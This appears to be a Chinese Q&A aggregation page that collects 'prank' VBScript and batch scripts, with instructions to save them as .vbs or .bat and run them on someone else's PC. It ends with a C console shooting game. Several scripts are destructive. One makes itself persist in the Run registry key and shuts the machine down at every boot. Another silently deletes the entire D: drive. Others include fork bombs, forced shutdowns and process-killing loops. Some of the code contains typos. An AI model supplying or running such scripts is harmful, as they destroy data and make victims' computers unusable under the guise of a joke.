惡搞源代碼
1. 求一些好玩的整人代碼~~
這些超級好玩看看
第一個：
這些超級好玩
第一個：
'------!!注意危險!! 5-開機一完畢就關機(計算機無法使用) !!注意危險!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------
--------------------------------'----------!!注意危險!! 6-格式化D盤(D盤下所有文件被刪除) !!注意危險!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二個：
「
gsh=msgbox ("已經准備好格式化，准備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈！嚇暈了吧，騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發現一重要更新，將自動下載。"
wscript.sleep 3000
msgbox "系統檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型：木馬",,"windows掃描附件"
msgbox "是否阻止其安裝？",vbyesno
wscript.sleep 3000
msgbox "阻止失敗！請檢查防火牆是否開啟！"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失敗！"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中，請趕快掃描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高興見到你！"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒！",,"WINDOWS防火牆警告"
wscript.sleep 3000
msgbox "我控制你的電腦了！"
wscript.sleep 3000
msgbox "不信？那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信，勸你最好別動，要不然會引起系統混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：剛才的「病毒」是假的，只不過是嚇你玩玩~"
s.run "explorer"
」
這個病毒的說明：在任務管理器關閉wscript.exe可關閉彈窗
第三個：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四個：
do
msgbox"哈哈哈有種把我關掉」
loop
哈哈哈有種把我關掉可以隨意更改
第四個的升級版：
do
msgbox"哈哈,有種關掉我啊"
msgbox"開始倒計時"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子強最帥"
loop
野生熊孩子強最帥可以隨意更改
第五個：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六個：
'--------------------------------3-直接關機------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七個:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八個：名：騰訊QQ
do
msgbox」別點我喲，我今天想休息，不讓登」
loop
第九個：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""說我是豬，不說我是豬就兩分鍾關你機，不信，你試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，說 ""我是豬""","說不說","你寫啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10個：
Gecho off
start cmd
%0
第11個：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陳獨秀"
a=inputbox("快在下面的框框里輸入陳獨秀喜歡誰,否則後果自負"" ","一個問題","")
loop
call shutdown(2)
msgbox"好吧，不過好自戀啊",4096+64
msgbox"但是你關不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打開任務管理器也沒有什麼軟用的",4096+64
MsgBox"給你講個故事",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裡有個廟.",4096+64
MsgBox"廟里有個老和尚在講故事.",4096+64
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 60
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12個：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13個：
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
2. 惡搞程序代碼
代碼如下，復制到記事本，將txt改為vbs就ok了，中間的字可自己改。
if MsgBox("對不起,您灌水太多需要重新版啟動計算機。權"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel then
msgbox " 正在清理系統垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
加分哦
3. 求一VB惡搞程序代碼
把以下代碼復來制到記事本中，自然後把擴展名改為.vbs運行即可。
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬，不喊就馬上讓你關機，不信，試試···"" ", 0, True
Dim a
Do While (a <> "我是豬")
a = InputBox("快說我是豬,不叫就不關機，快點，說 ", "說不說", "不說", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關了"
WSHshella.run "cmd.exe /c shutdown -a"
4. 你見過有哪些搞笑的代碼
餓昨天改別人代碼遇到的！ 用戶登錄，我登錄先去查賬號資料對比密碼， 我再查一遍賬號獲取用戶資料！ 都是一個表。
5. 收集一些搞笑程序代碼
如果你感到無聊，看看下面的吧。整人的東東… 如果你想惡搞別人一下,在記事本中輸入如下內容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 運行後會黑屏！ 3.shutdown -s -t 60 60秒倒計時關機！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 系統崩潰！ 5.下面的另存為a.bat @echo off Start a.bat dir c: /s /a
求點贊
6. 惡搞小程序源碼
這個可以用javascript實現的啊，死循環啊，如果要源碼的話，可以到源碼天堂去下載看看。
7. 求惡搞網頁HTML原代碼，要輸入我是豬才能關閉的那種。
網頁惡搞不現實，因為瀏覽器有安全限制，不允許js越過安全許可權的。一旦關閉該頁面這個所謂的惡搞程序就被結束了
8. 惡搞的愛情測試的PHP源代碼是什麼啊
打開那個網站，然後選擇：查看——源文件就可以了啊
9. 如何編寫簡單的惡搞程序
建個批處理文件：shutdown -s。
關機的。
10. 求一些惡搞程序的C語言源代碼
一個打飛機的游戲，DEVc++編譯通過：
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
#define zlx 10 //增量坐標(x)讓游戲框不靠邊
#define zly 3 //增量坐標(y)讓游戲框不靠邊
#define W 26 //游戲框的寬度
#define H 24 //游戲框的高度
int jiem[22][22]={0}, wj=10; //界面數組, 我機位置(初值為10)
int speed=4,density=30, score=0,death=0; //敵機速度, 敵機密度, 玩家成績,死亡次數
int m=0,n=0; // m,n是控制敵機的變數
void gtxy (int x, int y) //控制游標位置的函數
{ COORD zb; //zb代指坐標
zb.X = x; zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
voidColor(inta) //設定顏色的函數(a應為1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0) //隱藏游標的函數
{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指游標, y設為0即隱藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);
}
void csh( ) //初始化函數
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下邊兩框角
for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly); printf("═"); } //列印上橫框
for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); } //列印下橫框
for(i=1;i<H-1;i++) { gtxy(zlx,zly+i); printf("║"); } //列印左豎框
for(i=1;i<H-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); } //列印右豎框
Color(14); gtxy(19,2); printf("殲滅敵機"); Color(10);
gtxy(37,5); printf("設置：Esc ");
gtxy(37,7); printf("發射：↑ ");
gtxy(37,9); printf("控制：← → ");
gtxy(37,11);printf("得分：%d",score);
gtxy(37,13); printf("死亡：%d",death);
yinc(1,0);
}
void qcjm( ) //清除界面函數
{ int i,j;
for(i=0;i<H-2;i++)
for(j=0;j<W-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}
}
void feiji( ) //飛機移動函數
{ int i,j;
for(i=21;i>=0;i--) //從底行往上是為了避免敵機直接沖出數組
for(j=0;j<22;j++)
{if(i==21&&jiem[i][j]==3)jiem[i][j]=0; //底行賦值0 以免越界
if(jiem[i][j]==3)jiem[i][j]=0, jiem[i+1][j]=3;
}
if(jiem[20][wj]==3&&jiem[21][wj]==1) death++;
}
void zidan( ) //子彈移動函數
{ int i,j;
for(i=0;i<22;i++)
for(j=0;j<22;j++)
{ if(i==0&&jiem[i][j]==2) jiem[i][j]=0;
if(jiem[i][j]==2) {if(jiem[i-1][j]==3) score+=100,printf("7");
jiem[i][j]=0,jiem[i-1][j]=2; }
}
}
void print( ) //輸出界面函數
{int i,j;
qcjm( );
for(i=0;i<22;i++)
for(j=0;j<22;j++)
{ gtxy(12+j,4+i);
if(jiem[i][j]==3) {Color(13);printf("□");}
if(jiem[i][j]==2) {Color(10);printf(".");}
if(jiem[i][j]==1) {Color(10);printf("■");}
}
gtxy(37,11); Color(10); printf("得分：%d",score);
gtxy(37,13); printf("死亡：%d",death);
}
void setting( ) //游戲設置函數
{ qcjm( );
gtxy(12,4);printf("選擇敵機速度:");
gtxy(12,5);printf(" 1.快 2.中 3.慢>>");
switch(getche( ))
{case '1': speed=2; break;
case '2': speed=4; break;
case '3': speed=5; break;
default: gtxy(12,6);printf(" 錯誤！默認值");
}
gtxy(12,7);printf("選擇敵機密度:");
gtxy(12,8);printf(" 1.大 2.中 3.小>>");
switch(getche( ))
{case '1': density=20; break;
case '2': density=30;break;
case '3': density=40; break;
default: gtxy(12,9); printf(" 錯誤！默認值");
}
for(int i=0;i<22;i++)
for(int j=0;j<22;j++) jiem[i][j]=0;
jiem[21][wj=10]=1; jiem[0][5]=3;
gtxy(12,10); printf(" 按任意鍵保存...");
getch( );
qcjm( );
}
void run( ) //游戲運行函數
{ jiem[21][wj]=1; //值為1代表我機(2則為子彈)
jiem[0][5]=3; //值為3代表敵機
SetConsoleTitle("殲滅敵機"); //設置窗口標題
while(1)
{if (kbhit( )) //如有鍵按下，控制我機左右移動、發射或進行設定
{ int key;
if((key=getch( ))==224) key=getch( );
switch(key)
{case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break;
case 77: if(wj<20)jiem[21][wj]=0,jiem[21][++wj]=1;break;
case 72: jiem[20][wj]=2; break;
case 27: setting( );
}
}
if(++n%density==0) //控制產生敵機的速度
{ n=0;srand((unsigned)time(NULL));
jiem[0][rand( )%20+1]=3;
}
if(++m%speed==0) { feiji( ); m=0; } //控制敵機移動速度(相對子彈而言)
zidan( ); //子彈移動
print( ); //輸出界面
Sleep(120); //延時120毫秒
}
}
int main( )
{ csh( );
run( );
return 0;
}